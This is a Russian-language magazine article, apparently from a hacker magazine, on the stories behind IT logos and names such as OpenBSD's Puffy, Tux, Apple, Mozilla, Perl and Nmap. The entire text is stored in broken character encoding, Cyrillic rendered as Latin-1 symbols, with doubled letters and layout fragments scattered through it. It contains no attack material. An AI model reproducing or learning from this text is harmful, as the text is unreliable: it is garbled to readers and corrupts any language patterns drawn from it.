ùèå îêêóëüòíûå ïðîãðàììû, ïðîñòî ñëîâîì da-
emon â àíãëèéñêîì ÿçûêå íàçûâàþò äîáðîãî
äóõà, à èíîãäà è ïðîñòî ýíåðãè÷íîãî, íàïîðè-
ñòîãî ÷åëîâåêà. À â unix-ñèñòåìàõ daemon �
ýòî òåõíè÷åñêèé òåðìèí, îáîçíà÷àþùèé ïðî-
ãðàììû, âûïîëíÿþùèå íåçàìåòíî â ôîíå êà-
êóþ-òî ïîëåçíóþ ðàáîòó. Îïÿòü æå íàïðàøèâà-
åòñÿ ñðàâíåíèå ñ íåâèäèìûì äîáðûì äóõîì.
Ðàçðàáîò÷èêè áëèçêîé ê Free ñèñòåìû � OpenBSD,

086
Ó ÊÀÆÄÎÉ ÓÂÀÆÀÞÙÅÉ ÑÅÁß ÎÐÃÀÍÈÇÀ-
ÖÈÈ È ÊÎÌÏÀÍÈÈ ÅÑÒÜ ÑÎÁÑÒÂÅÍÍÛÅ
ÍÀÇÂÀÍÈÅ È ËÎÃÎÒÈÏ, ÌÀÊÑÈÌÀËÜÍÎ ÒÎ×-
ÍÎ ÏÅÐÅÄÀÞÙÈÅ ÑÌÛÑË ÈÕ ÄÅßÒÅËÜÍÎ-
ÑÒÈ. ÂÏÐÎ×ÅÌ, ×ÀÑÒÎ ÝÒÎ ÏÐÎÑÒÎ ÊÐÀÑÈ-
ÂÛÅ ÑÈÌÂÎËÛ, Â ÊÎÒÎÐÛÕ ÍÅÒ ÈÄÅÈ. ÂÛ-
ØÅÑÊÀÇÀÍÍÎÅ ÎÒÍÎÑÈÒÑß È Ê ÌÈÐÓ ÈÍ-
ÔÎÐÌÀÖÈÎÍÍÛÕ ÒÅÕÍÎËÎÃÈÉ. ÂÑÅ ÌÛ
ÇÍÀÅÌ, ×ÒÎ ÏÈÍÃÂÈÍ ßÂËßÅÒÑß ÝÌÁËÅ-
ÌÎÉ ÎÏÅÐÀÖÈÎÍÍÎÉ ÑÈÑÒÅÌÛ LINUX, À
ÊÎÐÏÎÐÀÖÈß, ÏÐÎÈÇÂÎÄßÙÀß ÊÎÌÏÜÞÒÅ-
ÐÛ MACINTOSH, ÍÀÇÛÂÀÅÒÑß APPLE. ÍÎ
ÏÎ×ÅÌÓ ÈÌÅÍÍÎ ÒÀÊ? ÅÑËÈ ÕÎ×ÅØÜ ÎÁ
ÝÒÎÌ ÓÇÍÀÒÜ, ÍÅ ÏÅÐÅÂÎÐÀ×ÈÂÀÉ ÑÒÐÀ-
ÍÈÖÓ | Èëüÿ Àëåêñàíäðîâ (DALnet / #vyborg) 
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â êà÷åñòâå òàëèñìàíà âûáðàëè øèïàñòóþ ðûáó ôóãó. Ýòî âîäîïëàâàþùåå
èçâåñòíî òåì, ÷òî ñïîñîáíî ðàçäóâàòü ñåáÿ äî ðàçìåðîâ, ïðåâîñõîäÿùèõ ïåð-
âîíà÷àëüíûé îáúåì ðàçà â òðè, è òåì, ÷òî ÿâëÿåòñÿ ñàìîé ÿäîâèòîé ðûáîé â
ìèðå. Êàê ïîíèìàåøü, ïëàâàåò ðûáêà ïî ìîðñêèì ïðîñòîðàì ñïîêîéíî, è íè-
êòî åå êóøàòü íå ñòàíåò. Âîò è ïîëüçîâàòåëü OpenBSD âûõîäèò â ãëîáàëüíóþ
ñåòü áåç ñòðàõà, ÷òî åãî ñèñòåìó êòî-íèáóäü âçëîìàåò � ÎÑ ñëàâèòñÿ ñâîåé
çàùèùåííîñòüþ. Ëþäè, äåëàþùèå ñàìóþ ñåêóðíóþ îïåðàöèîíêó íà ïëàíåòå
� ðåáÿòà äîâîëüíî íåîðäèíàðíûå. Ê êàæäîìó íîâîìó ðåëèçó ñîçäàåòñÿ ñïå-
öèàëüíàÿ îáëîæêà äèñêà, ãäå puffy (à èìåííî òàê çîâóò ðûáåøêó) ïðåäñòàåò â
îïðåäåëåííîì îáðàçå. Íàïðèìåð, â âèäå øåðèôà ñ äèêîãî çàïàäà, èëè â âè-
äå âîëøåáíèêà ñòðàíû OS. Âñå ýòè èçîáðàæåíèÿ ìîæíî íàéòè íà www.openb-
sd.org/orders.html.
Ñëåäóþùåé ïî ñïèñêó èäåò NetBSD. Ðàíüøå ëîãîòèïîì ýòîé ñèñòåìû ÿâëÿ-
ëàñü òîëïà ÷åðòåé ïîä çíàìåíåì, ðàñïîëàãàþùàÿñÿ íà ãðóäå ðàçáèòûõ ìî-
íèòîðîâ è ñèñòåìíûõ áëîêîâ. Íàâåðíîå, ñîçäàòåëè ÎÑ ñòðåìèëèñü çàïó-
ãàòü êîíêóðèðóþùèå ïðîåêòû è ïîêàçàòü íåôîðìàëüíîñòü ïðîöåññà ðàçðà-
áîòêè � ñëîæíî ïðåäñòàâèòü ñåáå êîììåð÷åñêèé ïðîäóêò ñ ïîäîáíîé ýì-
áëåìîé. Ïðàâäà, ñåãîäíÿ îò ñèìâîëà NetBSD îñòàëñÿ òîëüêî ôëàã, âèäàòü,
ïîâçðîñëåëè ðàçðàáîò÷èêè, ñòàëè îòâåòñòâåííåé è ñåðüåçíåé...
Ýìáëåìîé îïåðàöèîíêè äëÿ êîìïüþòåðîâ Apple � Mac OS, ÿâëÿåòñÿ óëû-
áàþùàÿñÿ ðîæèöà. Êàê óòâåðæäàþò ïîêëîííèêè ìàêîâ, îíè âëþáèëèñü â
ñâîþ ñèñòåìó, êàê òîëüêî óâèäåëè ýòîò ëîãîòèï. Ëè÷íî ÿ ïðåäïî÷èòàþ áî-
ëåå ñîäåðæàòåëüíûå èçîáðàæåíèÿ, íåæåëè êàðòèíêè èç ÷åòûðåõ ëèíèé è
ïàðû òî÷åê, íî òåì íå ìåíåå îòäàäèì äîëæíîå äèçàéíåðàì Apple. Òàêàÿ ýì-
áëåìà äîëæíà áûëà ïîêàçàòü äðóæåëþáíîñòü ñèñòåìû ê ïîëüçîâàòåëþ,
ïðîñòîòó â îñâîåíèè è ðàáîòå.
Ëîãîòèï îïåðàöèîííîé ñèñòåìû îò Microsoft çíàåò âåñü ìèð. Ýòî � ôîðòî÷êà
(à íå ðåøåòêà, êàê åõèäíî óòâåðæäàþò ìíîãèå þíèêñîèäû). Èçîáðàæåíà îíà,
ïðàâäà, íà ïîäîáèå ôëàãà � ñâîåãî ðîäà çíàìÿ êîëëåêòèâà, ñèìâîë ïðîãðåñ-
ñà è äâèæåíèÿ. Íó à êàêàÿ åùå ýìáëåìà êðîìå ôîðòî÷êè ìîæåò áûòü ó Win-
dows? Ñàìà æå âèíäà ïîëó÷èëà ñâîå íàçâàíèå çà òî, ÷òî áûëà ïåðâîé îñüþ
ñ ãðàôè÷åñêèì èíòåðôåéñîì è îêíàìè ïðîãðàìì, ïðèøåäøèì íà ñìåíó êî-
ìàíäíîé ñòðîêå (íå ñîâñåì òàê. Ïåðâûå íàðàáîòêè ãðàôè÷åñêîãî èíòåðôåé-
ñà ñ îêíàìè áûëè ïðåäñòàâëåíû åùå â 70-õ ãã. À êîìïàíèÿ Apple âïåðâûå èñ-
ïîëüçîâàëà èõ â ñâîåé ÎÑ â ñåðåäèíå 80-õ � ïðèì. mindw0rk).
Íîâîå òâîðåíèå Áèëëà Ãåéòñà íîñèò êîäîâîå èìÿ Longhorn. Äåëî â òîì, ÷òî
íåïîäàëåêó îò öåíòðàëüíîãî îôèñà M$ íàõîäèòñÿ ãîðíîëûæíûé êóðîðò, ãäå
ëþáÿò îòäûõàòü ñîòðóäíèêè êîìïàíèè (âìåñòî èñïðàâëåíèÿ áàãîâ â áåçî-
ïàñíîñòè ÎÑ), à ìåñòíûé ñàëóí (êàáàê ïî-íàøåìó) íîñèò èìÿ Longhorn. Âîò
òàê âîò. Ñàìûé ïðèáûëüíûé ïðîäóêò íà ïëàíåòå íàðå÷åí â ÷åñòü ïèâíîé.
Âåðñèÿ, êîíå÷íî, íåîôèöèàëüíàÿ, íî äðóãîé ïðîñòî íå ñóùåñòâóåò. Êàêîé
ëîãîòèï ïðèäóìàòü äëÿ îïåðàöèîííîé ñèñòåìû, êîòîðàÿ íàçûâàåòñÿ «Äëèí-
íûé ðîã»? Ëîãè÷íî, ÷òî èçîáðàæåíèå ïðåäñòàâèòåëÿ êðóïíîãî ðîãàòîãî ñêî-
òà. Â Microsoft îñòàíîâèëèñü íà áûêå. È êòî ïîñëå ýòîãî ñêàæåò, ÷òî ñåðüåç-
íîå ÏÎ íå ìîæåò èìåòü â êà÷åñòâå ñèìâîëà æèâîòíîå?

[TUX] Ïèíãâèí Òóêñ � ýòî íå ïðîñòî ñèìâîë Linux. ß äàæå íå çíàþ, ÷òî ÿâ-
ëÿåòñÿ áîëåå èçâåñòíûì � ñàìà ÎÑ èëè åå ëîãîòèï. Àòðèáóòèêà ñ èçîáðà-
æåíèåì Òóêñà ïðèíîñèò ìàãàçèíàì íå ìåíüøóþ ïðèáûëü, ÷åì ëèíóêñîâûå



áðàæåííàÿ íà ýìáëåìå, åâðîïåéñêîé ïóáëèêå ïî âêóñó íå ïðèøëàñü. Êîì-
ïàíèÿ ñìåíèëà íàçâàíèå íà áîëåå áëàãîçâó÷íîå Canon, êîòîðîå èìååò ìíî-
ãî ãëóáîêîìûñëåííûõ çíà÷åíèé â ðåëèãèè è èñêóññòâå, è óáðàëà áîãèíþ ñ
ëîãîòèïà.
Viewsonic, îäèí èç ñàìûõ êðóïíûõ â ìèðå ïðîèçâîäèòåëåé ìîíèòîðîâ, íà
ñâîåé ýìáëåìå ðàçìåñòèë òðåõ ðàçíîöâåòíûõ ïîïóãàåâ (ýòî êàíàðåéêè :) �
ïðèì. mindw0rk). Çàìîðà÷èâàòüñÿ íàä ïîèñêîì ñìûñëà íå íóæíî � îáû÷-
íûé ìàðêåòèíãîâûé õîä. Êðàñèâûå öâåòàñòûå ïòè÷êè ðàñïîëàãàþò ê ñåáå
ïîêóïàòåëÿ è õîðîøî ãàðìîíèðóþò ñ ìîíèêàìè.
Êðóïíåéøèé â ìèðå îïåðàòîð ñâÿçè AT&T èìååò ëîãîòèï â âèäå ãëîáóñà. Îí
ñèìâîëèçèðóåò íàøó ïëàíåòó, îïóòàííóþ ñåòüþ êîììóíèêàöèé. IMHO, ëîãî-
òèï ñòîèëî áû ñìåíèòü, ïîòîìó ÷òî ó íèõ â Àìåðèêå ñâÿçü îòëè÷íàÿ âåçäå,
à âîò â Ðîññèè íà äà÷ó ìîáèëüíûé ìîæíî íå áðàòü � âñå ðàâíî çîíû ïî-
êðûòèÿ íåò. Õîòÿ ñîòîâûå îïåðàòîðû è ó íàñ åñòü íåïëîõèå. Íàïðèìåð, Áè-
ëàéí. Ðàíüøå ýìáëåìîé êîìïàíèè áûëà òðóäîëþáèâàÿ ï÷åëêà (bee � ï÷å-
ëà), çà êîòîðóþ àáîíåíòû ñåòè ïîëó÷èëè ïðîçâèùà ïàñå÷íèêîâ è ï÷åëî-
âîäîâ. Íå çíàþ, ÷åì íå óãîäèëî ýòî ìèëîå íàñåêîìîå ðóêîâîäèòåëåì êîì-
ïàíèè, íî ëîãîòèï ñìåíèëè íà êðóã ñ æåëòî-÷åðíûìè ïîëîñêàìè. Êàê óòâåð-
æäàþò ïðåäñòàâèòåëè ÂûìïåëÊîì, «Íîâûé îáðàç «Áèëàéí» ñèìâîëèçèðó-
åò ÿðêîñòü, ïðîñòîòó, äðóæåñòâåííîñòü, ïîëîæèòåëüíûå ýìîöèè». Âîò òàê, à
ñðàçó è íå äîãàäàåøüñÿ.
Ñâîáîäíûé ñîôò â ëèöå ïðîåêòà GNU (GNU Not Unix) îáîçíà÷èë ñåáÿ àíòè-
ëîïîé. Äåéñòâèòåëüíî, ÷òî ïàðèòüñÿ ñ ïîèñêîì ëîãîòèïà, êîãäà òâîÿ îðãàíè-
çàöèÿ íàçûâàåòñÿ GNU? Âïðî÷åì, ãîâîðÿ ïî-àíãëèéñêè, íåëüçÿ çàáûâàòü,

äèñòðèáóòèâû. Ïðîéòè ìèìî íåãî ÿ íå ìîã. Ýòîò ëîãîòèï ïîÿâèëñÿ â 1996 ãî-
äó, êîãäà â ìåéë-ëèñòå linux-kernel-mailing list ãðóïïà ëþäåé ïðåäëîæèëà âû-
áðàòü ýìáëåìó äëÿ ñâîåé îïåðàöèîíêè. Èäåþ ïîääåðæàëè, è áûëà ïðåäëî-
æåíà ìàññà âàðèàíòîâ, â òîì ÷èñëå òàêèå áëàãîðîäíûå çâåðóøêè, êàê ëåâ
è îðåë. Ñðåäè ïðåäëîæåííûõ ëîãîòèïîâ áûë è ïèíãâèí, äåðæàâøèé íà êðû-
ëüÿõ çåìíîé øàð. Íî âîæäü è áîã âñåõ ëèíóêñîèäîâ � Òîðâàëüäñ, â îäíîì
èç ñâîèõ ïèñåì óïîìÿíóë áóêâàëüíî ñëåäóþùåå: «Åñëè âû äóìàåòå î «ïèí-
ãâèíå», âû äîëæíû ïðåäñòàâëÿòü ñåáå ñëåãêà ðàñòîëñòåâøåãî ñèäÿùåãî
ïèíãâèíà, õîðîøî ïîåâøåãî è îòðûãíóâøåãî. Îí ñèäèò ñ äîâîëüíîé óëûá-
êîé � ìèð êàæåòñÿ  ïðåêðàñíûì, åñëè âû òîëüêî ÷òî ñúåëè íåñêîëüêî ãàë-
ëîíîâ ñâåæåé ðûáû...».
Áûë îáúÿâëåí êîíêóðñ ñðåäè õóäîæíèêîâ íà ëó÷øåå èçîáðàæåíèå ïèíãâè-
íà. Ïîáåäèòåëåì ñòàë Ëàððè Èâèíã, êîòîðîé óòâåðæäàåò, ÷òî èñïîëüçîâàë
òîëüêî ñâîáîäíûé ñîôò ïðè íàïèñàíèè Òóêñà, â ÷àñòíîñòè, ðàñòðîâûé ðå-
äàêòîð GIMP (åùå áû îí ñêàçàë, ÷òî þçàë ôîòîøîï!). Íà ñàìîì äåëå, ïðà-
âèëüíî íàçûâàòü ïèíãâèíà «Òàêñ», íî â ñðåäå êîìïüþòåðùèêîâ óñòîÿëîñü
èìÿ Òóêñ. Ñëîâî ìîæíî îáúÿñíèòü òàê: Torvalds UniX.
Êñòàòè, íà äåíü ðîæäåíèå Ëèíóñó êàê-òî ïîäàðèëè íàñòîÿùåãî ïèíãâèíåí-
êà, êîòîðîãî ñåé÷àñ ìîæíî íàéòè â Áðèñòîëüñêîì çîîïàðêå.

[IT-êîìïàíèè] Ïðèøëî âðåìÿ ðàññêàçàòü îá ýìáëåìàõ êîìïàíèé, ðàáî-
òàþùèõ â ñôåðå èíôîðìàöèîííûõ òåõíîëîãèé. Íà÷íåì ñ Apple. Äåëî â òîì,
÷òî ÿáëîêî � ëþáèìûé ôðóêò îñíîâàòåëÿ êîðïîðàöèè Ñòèâà Äæîáñà. Ïî-
ñëå òðåõ ìåñÿöåâ ðàçäóìèé íàä íàçâàíèåì äëÿ íîâîãî áèçíåñà, Äæîáñ çàÿ-
âèë ïàðòíåðàì: «ß íàçîâó êîìïàíèþ
Apple, åñëè äî 5 ÷àñîâ âû íå ïðèäó-
ìàåòå íè÷åãî ëó÷øåãî». È òî ëè ñ
Äæîáñîì òîãäà ðàáîòàëè íå ñàìûå
ýðóäèðîâàííûå ëþäè, òî ëè èì ïðî-
ñòî áûëî ëåíü íàïðÿãàòüñÿ, íî íèêî-
ìó â ãîëîâó òàê íè÷åãî è íå ïðèøëî.
Apple's Macintosh � ñîðò ÿáëîê, äàâ-
øèé èìÿ íîâîé êîìïàíèè è åå ïðî-
äóêöèè. Ïî äðóãîé âåðñèè, êîðïîðà-
öèÿ íàçâàíà â ÷åñòü çâóêîçàïèñû-
âàþùåé ñòóäèè áèòëîâ � Apple
corp., òàê êàê ìíîãèå ñîòðóäíèêè è
ðóêîâîäèòåëè áûëè ïîêëîííèêàìè
òâîð÷åñòâà ëèâåðïóëüñêîé ÷åòâåð-
êè. À âîò ïî÷åìó íà ýìáëåìó ïîìå-
ñòèëè îòêóñàííûé ôðóêò, èñòîðèÿ
óìàë÷èâàåò. Íàçâàíèå âûäàþùåãî-
ñÿ ïðîèçâîäèòåëÿ íîóòáóêîâ Toshiba
ñîñòîèò èç äâóõ ÷àñòåé: Tou(âîñòîê)
è Shiba(òðàâà). Êàê æå ñâÿçàíû êîì-
ïüþòåðû è òðàâà? Î÷åíü ïðîñòî,
êîðïîðàöèÿ âîçíèêëà ïîñëå îáúåäè-
íåíèÿ äâóõ ïðîìûøëåííûõ ãèãàí-
òîâ � Tokyo Electric è Shibaura, è ïî-
ëó÷èëà íîâîå íàçâàíèå � Tokyo Shi-
baura, ñîêðàùåííî � Toshiba. 
Èçâåñòíûé ïðîèçâîäèòåëü êîìïëåê-
òóþùèõ � Fujitsu, íàçâàí â ÷åñòü ãî-
ðû Ôóäçèÿìà. Äëÿ ÿïîíöåâ Ôóäçèÿ-
ìà � ñâÿòûíÿ, íàöèîíàëüíîå äîñòîÿ-
íèå, è, âîîáùå, èõ ÿïîíñêîå âñå, òàê
÷òî ýòî íå óäèâèòåëüíî. 
Èíòåðåñíà èñòîðèÿ Canon. Ñíà÷àëà
êîðïîðàöèÿ íîñèëà èìÿ Kwanon �
òàê çâàëè áóääèéñêóþ áîãèíþ ìèëî-
ñåðäèÿ. Íî òûñÿ÷åðóêàÿ áîãèíÿ, èçî-

ëþáèìûé ôðóêò Ñòèâà Äæîáñà óáåðèòå îñëîâ � èäåò îãíåëèñ!

ïîñëå íàïèñàíèÿ ïàðû ñîòåí ñòðîê êîäà, íåò íè÷åãî ëó÷øå-
ãî, ÷åì ÷àøå÷êà êîôå!

| ÊÊÎÇËÈÊ ÔÔÐÝÍÊ ÈÈ ÕÕÀÐÎËÜÄ ÑÑÈÍÅÇÓÁÛÉ || 

Êîçëèê Ôðýíê � òàëèñìàí ïîðòàëà livejournal.com. Êàê íàïèñàíî íà åãî
ëè÷íîé ñòðàíè÷êå, Ôðýíê ïîìîãàåò ñ ïðîãðàììèðîâàíèåì, îòâå÷àåò íà çà-
ïðîñû â ñëóæáó òåõíè÷åñêîé ïîääåðæêè. Õì. À âîò òóò ñîçäàòåëè Æèâîãî
Æóðíàëà ïðèêîëîëèñü íåóäà÷íî: çàÿâèòü, ÷òî â òåõïîääåðæêå ñåðâèñà ñè-
äÿò, ïðîñòèòå, êîçëû � íå ñàìîå ëó÷øåå ðåøåíèå. 
Õàðîëüä Ñèíåçóáûé � ýòî òàêîé ñêàíäèíàâñêèé êîðîëü èç Ñðåäíåâåêî-
âüÿ. Ïðàâèë ìóäðî, îáúåäèíÿë âèêèíãîâ, ñäåëàë õðèñòèàíñòâî ìåñòíîé
ðåëèãèåé. À òûñÿ÷ó ëåò ñïóñòÿ äðóãèå ñêàíäèíàâû, èç êîìïàíèè Ericsson,
ñîçäàëè íîâóþ áåñïðîâîäíóþ òåõíîëîãèþ ïåðåäà÷è äàííûõ. Íàçâàëè åå
«ñèíèé çóá» � bluetoth, ïðîäåìîíñòðèðîâàâ âñåìó ìèðó ïðååìñòâåííîñòü
ïîêîëåíèé ó ñåâåðíûõ íàðîäîâ.

òîò ñàìûé Òóêñ
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÷òî â ñëîâå antelope gnu, g � íåìàÿ,
à ïðè ïðîèçíîøåíèè àááðåâèàòóðû
ýòó áóêâó íóæíî îáÿçàòåëüíî ïðîãî-
âàðèâàòü (òàê ñêàçàë Ñòàëëìàí, à ñ
íèì ëó÷øå ñîãëàñèòüñÿ).

[[ÿÿççûûêêèè ïïððîîããððààììììèèððîîââààííèèÿÿ]] Êîäèíã �
ìíîãîçíà÷èòåëüíîå ñëîâî äëÿ êàæ-
äîãî ÷èòàòåëÿ Õàêåðà. Áåññîíûå íî-
÷è çà êîìïîì, êíèãè è RTFM, êîìïè-
ëÿòîðû è îòëàä÷èêè... Íî íå êàæäûé
ìåãàïðîãðàììåð çíàåò, ïî÷åìó åãî
ëþáèìûé ÿçûê èìååò èìåííî òàêîå
íàçâàíèå è ýìáëåìó. Íàïðèìåð,
PERL � ýòî àááðåâèàòóðà îò Practi-
cal Extraction and Report Language,
÷òî ïåðåâîäèòñÿ êàê «ÿçûê äëÿ ïðàê-
òè÷åñêîãî èçâëå÷åíèÿ äàííûõ è ñî-
ñòàâëåíèÿ îò÷åòîâ». Ñèìâîë ïåðëà �
âåðáëþä. Íåò, íå ïîòîìó, ÷òî êîäèòü
íà ýòîì ÿçûêå ìîãóò ëèøü âûíîñëè-
âûå è òåðïåëèâûå, êàê êîðàáëü ïó-
ñòûíè, ëè÷íîñòè. Ïðîñòî èçâåñòíîå èçäàòåëüñòâî O'Reilly íà îáëîæêó êíèãè
ïî ïðîãðàììèðîâàíèþ íà ïåðëå ïîìåñòèëè âåðáëþäà � òðàäèöèÿ òàì òàêàÿ,
ïîìåùàòü æèâîòíûõ íà îáëîæêè êîìïüþòåðíûõ ó÷åáíèêîâ. Êíèãà ñòàëà ìè-
ðîâûì áåñòñåëëåðîì, à àôðèêàíñêîå æèâîòíîå ñòàëî àññîöèèðîâàòüñÿ ñ ïî-
ïóëÿðíûì ñðåäñòâîì WEB-ðàçðàáîòêè. 
Åùå îäèí íåáåçûçâåñòíûé ÿçûê � python. Äóìàåøü, îí íàçâàí â ÷åñòü
çìåè? Íà ñàìîì äåëå íàçâàíèå ïîëó÷åíî â ÷åñòü ïîïóëÿðíîãî â 70-å ãî-
äû êîìåäèéíîãî òåëåñåðèàëà «âîçäóøíûé öèðê Ìîíòè Ïàéòîíà» , ôà-
íàòîì êîòîðîãî áûë ñîçäàòåëü ÿçûêà. Âïðî÷åì, ðàçðàáîò÷èêè óæå è ñà-
ìè çàáûëè èñòîðèþ ïðîèñõîæäåíèÿ èìåíè python, è ïîìåñòèëè íà ýì-
áëåìó çìåþ. Ó ìóëüòèïëàòôîðìåííîé java â êà÷åñòâå ëîãîòèïà � äû-
ìÿùàÿñÿ ÷àøêà. Óâû, îôèöèàëüíîé âåðñèè îáúÿñíÿþùåé ýòó ýìáëåìó
íåò. Îñòàåòñÿ òîëüêî ïðåäïîëîæèòü, ÷òî ýòî âûçâàíî âñåîáùåé ëþáî-
âüþ ïðîãðàììèñòîâ ê êîôå, õîòÿ ïî ëîãèêå íàäî áûëî äåëàòü ñèìâîëîì
ïèâíóþ êðóæêó. Òàêîå æå íàçâàíèå, êàê ýòîò ÿçûê ïðîãðàììèðîâàíèÿ,
íîñèò ïîïóëÿðíûé ñîðò êîôå.

[[ññîîôôòò]] Îäèí èç ñàìûõ ïîïóëÿðíûõ áðàóçåðîâ � Mozilla, ïîëó÷èëà ñâîå íàç-
âàíèå èç ñëèÿíèÿ ñëîâ Mosaic (ïåðâûé Èíòåðíåò-îáîçðåâàòåëü) è Killer. Ïî-
ëàãàþ, ÷òî ïîä óáèéöåé ïîäðàçóìåâàëîèñü: óáèéöà îïåðû è IE. À ëîãîòèï �
òèðàíîçàâð, áûë âûáðàí áëàãîäàðÿ ñîçâó÷íîñòè ñëîâ Mozilla è Godzilla.
Îáëåã÷åííàÿ âåðñèÿ Mozilla íîñèò èìÿ FireFox � îãíåííàÿ ëèñà. Îíà æå �
áûâøèé Phoenix, îíà æå � áûâøèé Firebird. Ñìåíà íàçâàíèé âûçâàíà òåì,
÷òî ïîñòîÿííî íàõîäèëñÿ äðóãîé îäíîèìåííîé ïðîäóêò, ðàçðàáîò÷èêè êîòî-
ðîãî áûëè íå â âîñòîðãå îò èñïîëüçîâàíèÿ èõ ëåéáëà â ÷óæèõ ïðîåêòàõ. Ýì-
áëåìà Firefox � ëèñà, îáõâàòûâàþùàÿ îãíåííûì õâîñòîì çåìíîé øàð. Ìîë,
îãíåëèñ � ñàìûé áûñòðûé áðîóçåð Web. Õîòÿ ÿ áû íå ñòàë èñêàòü çäåñü
îñîáîé èäåè, ïîòîìó ÷òî äèçàéíåðû ïåðåðèñîâàâøèå ëîãîòèï 4 ðàçà áûëè
ãîòîâû èçîáðàçèòü õîòü ëèñó, õîòü êðîêîäèëà, õîòü ñåìåéñòâî áåëûõ ìåäâå-
äåé, ëèøü áû ïîòîì íå ïåðåäåëûâàòü èçîáðàæåíèå â ïÿòûé ðàç. 
Ñèñòåìà îáìåíà ìãíîâåííûìè ñîîáùåíèÿìè ICQ ÿâëÿåòñÿ îäíèì èç ñàìûõ
ïîïóëÿðíûõ ñåðâèñîâ ãëîáàëüíîé ñåòè âî âñåì ìèðå. Êîìïàíèþ Mirabilis,
îáåñïå÷èâàþùóþ ðàáîòó ñèñòåìû ICQ, â 1996 ãîäó îñíîâàëè 4 èçðàèëüñêèõ
ïðîãðàììèñòà. Mirabilis � ýòî ñîëíöåëþáèâûé, àðîìàòíûé è ÿäîâèòûé öâå-
òîê, îáëàäàþùèé ãàëëþöèíîãåííûìè ñâîéñòâàìè. Âèäèìî, èçðàëüñêèå êî-
äåðû òàê ïðîïåðëèñü îò ýòèõ ãàëëþöèíîãåíîâ, ÷òî íàçâàëè â ÷åñòü öâåòêà
êîìïàíèþ è ñäåëàëè åãî ñâîåé ýìáëåìîé. 
Îäíà èç ñàìûõ ïîïóëÿðíûõ áàç äàííûõ â ñåòè � PostgreSQL. Ñèìâîëîì
ïðîåêòà áûë âûáðàí ñëîí, òàê êàê ëþáèìîé êíèãîé îäíîãî èç âåäóùèõ ðàç-
ðàáîò÷èêîâ ÿâëÿëàñü «Ñëîíû ìîãóò âñïîìèíàòü» Àãàòû Êðèñòè. Íå çíàþ,
êàê ñâÿçàíà ëèòåðàòóðà è áàçû äàííûõ, íî ôàêò îñòàåòñÿ ôàêòîì. 
Ãîâîðÿ î ïðîãðàììíîì îáåñïå÷åíèè íåëüçÿ íå óïîìÿíóòü õàêåðñêèé
ñîôò. Ïðè çàõîäå íà îôèöèàëüíûé ñàéò ëó÷øåãî ñêàíåðà óÿçâèìîñòåé
âñåõ âðåìåí è íàðîäîâ � www.insecure.org, òåáÿ âñòðåòèò âûðàçèòåëü-
íî ñìîòðÿùèé ãëàç. Ñïåðâà ÿ ïîäóìàë, ÷òî ñîçäàòåëè Nmap íàñìîòðå-

ëèñü «Âëàñòåëèíà êîëåö», è ïîä âïå÷àòëåíèåì îò óâèäåííîãî âûáðàëè â êà÷å-
ñòâå ëîãîòèïà âñåâèäÿùåå îêî, íî ïîòîì îêàçàëîñü, ÷òî ãëàç îáîçíà÷àåò íå-
âîçìîæíîñòü ñêðûòèÿ îò ñêàíåðà óÿçâèìîñòåé â ÏÎ óäàëåííîãî êîìïüþòåðà.

[[ÇÇ..ÛÛ..]] ×òî æå, îòâåäåííîå ìíå ìåñòî çàêàí÷èâàåòñÿ. ß ïîñòàðàëñÿ ðàññêàçàòü
òåáå î ñàìûõ èíòåðåñíûõ ëîãîòèïàõ è èìåíàõ ìèðà, â êîòîðîì ìû æèâåì. Ìèðà
ñåòåé è êîììóíèêàöèé, êîìïüþòåðîâ è ïðîãðàììíîãî îáåñïå÷åíèÿ, ìèðà IT. Òå-
ïåðü òû çíàåøü ñìûñë òîãî, î ÷åì ðàíüøå è íå çàäóìûâàëñÿ. Âïðî÷åì, ãëàâíîå
íå ýìáëåìà è íàçâàíèå, à òî, ÷òî îíè ñèìâîëèçèðóþò. Ó ïðîèçâîäèòåëÿ ìîíèòî-
ðîâ ãëàâíîå êà÷åñòâî äèñïëåÿ, à íå ëîãîòèï êîìïàíèè. Ïîáîëüøå òåáå íà æèç-
íåííîì ïóòè êðàñèâûõ ýìáëåì, ñîçäàííûõ äëÿ êà÷åñòâåííûõ ïðîäóêòîâ

îäèí èç âàðèàíòîâ èçî-
áðàæåíèÿ êóëüòîâîãî
öâåòêà

òàëèñìàí 
livejournal.com

àíòèëîïà ÃÍÓ
ïðåäñòàâèòåëü êðóïíîãî ðîãàòîãî
ñêîòà èç Ðåäìîíäà

àíàðõè÷åñêèé ëîãîòèï îò NetBSD

âñåâèäÿùèé NMAP

"ñëîíû ìîãóò âñïî-
ìèíàòü"

äæóíãëè, ïîïóãàè, ìîíèòîðû...

îäíîãîðáûé âåðáëþä
� ñèìâîë PERL

äåìîí � è íå êàêèõ
÷åðòåé!

îáëîæêà ê äèñêó ñ OpenBSD 3.6.
Puffy ôèãóðèðóåò â îáðàçå øåðèôà

| ÏÏÐÎÈÑÕÎÆÄÅÍÈÅ ÍÍÀÇÂÀÍÈÉ 
ÍÅÊÎÒÎÐÛÕ IIT-ÊÊÎÐÏÎÐÀÖÈÉ ||
Google � íàçâàíèå áûëî âûáðàíî èç-çà ñëîâà Googol, 
÷òî îçíà÷àåò åäèíèöó ñî ñòà íóëÿìè. À Google áûëî íàïèñàíî
íà ÷åêå, êîòîðûé ñîçäàòåëè ïîèñêîâèêà ïîëó÷èëè îò ïåðâîé
ôèðìû-èíâåñòîðà. Â ðåçóëüòàòå ÷åãî îíè ðåøèëè íàçâàòü ïîð-
òàë èìåííî òàê. 
Hotmail � îñíîâàòåëþ ðåñóðñà, Äæåêó Ñìèòó, ïðèøëà ìûñëü
ñîçäàòü ñåðâèñ, áëàãîäàðÿ êîòîðîìó ìîæíî ïîëó÷èòü äîñòóï ê
ïî÷òå ÷åðåç WEB. Êîãäà îí ñòàë ïåðåáèðàòü íàçâàíèÿ äëÿ ïðîåê-
òà, çàêàí÷èâàþùèåñÿ íà mail, òî îñòàíîâèëñÿ íà hotmail, òàê êàê
â íåì ñîäåðæàòñÿ áóêâû HTML (ÿçûê ãèïåðòåêñòîâîé ðàçìåòêè). 
Kodak. Ê � ëþáèìàÿ áóêâà îñíîâàòåëÿ êîðïîðàöèè Äæîíà
Èñòìåíà. Âäîáàâîê, ïèøåòñÿ íà âñåõ ÿçûêàõ ìèðà îäèíàêîâî.
Äæîí èñêàë ñëîâà, êîòîðûå è íà÷èíàòüñÿ, è çàêàí÷èâàòüñÿ, áó-
äóò ýòîé ëó÷øåé â ìèðå áóêâîé. È, ñìîòðèòå æå, íàøåë. 
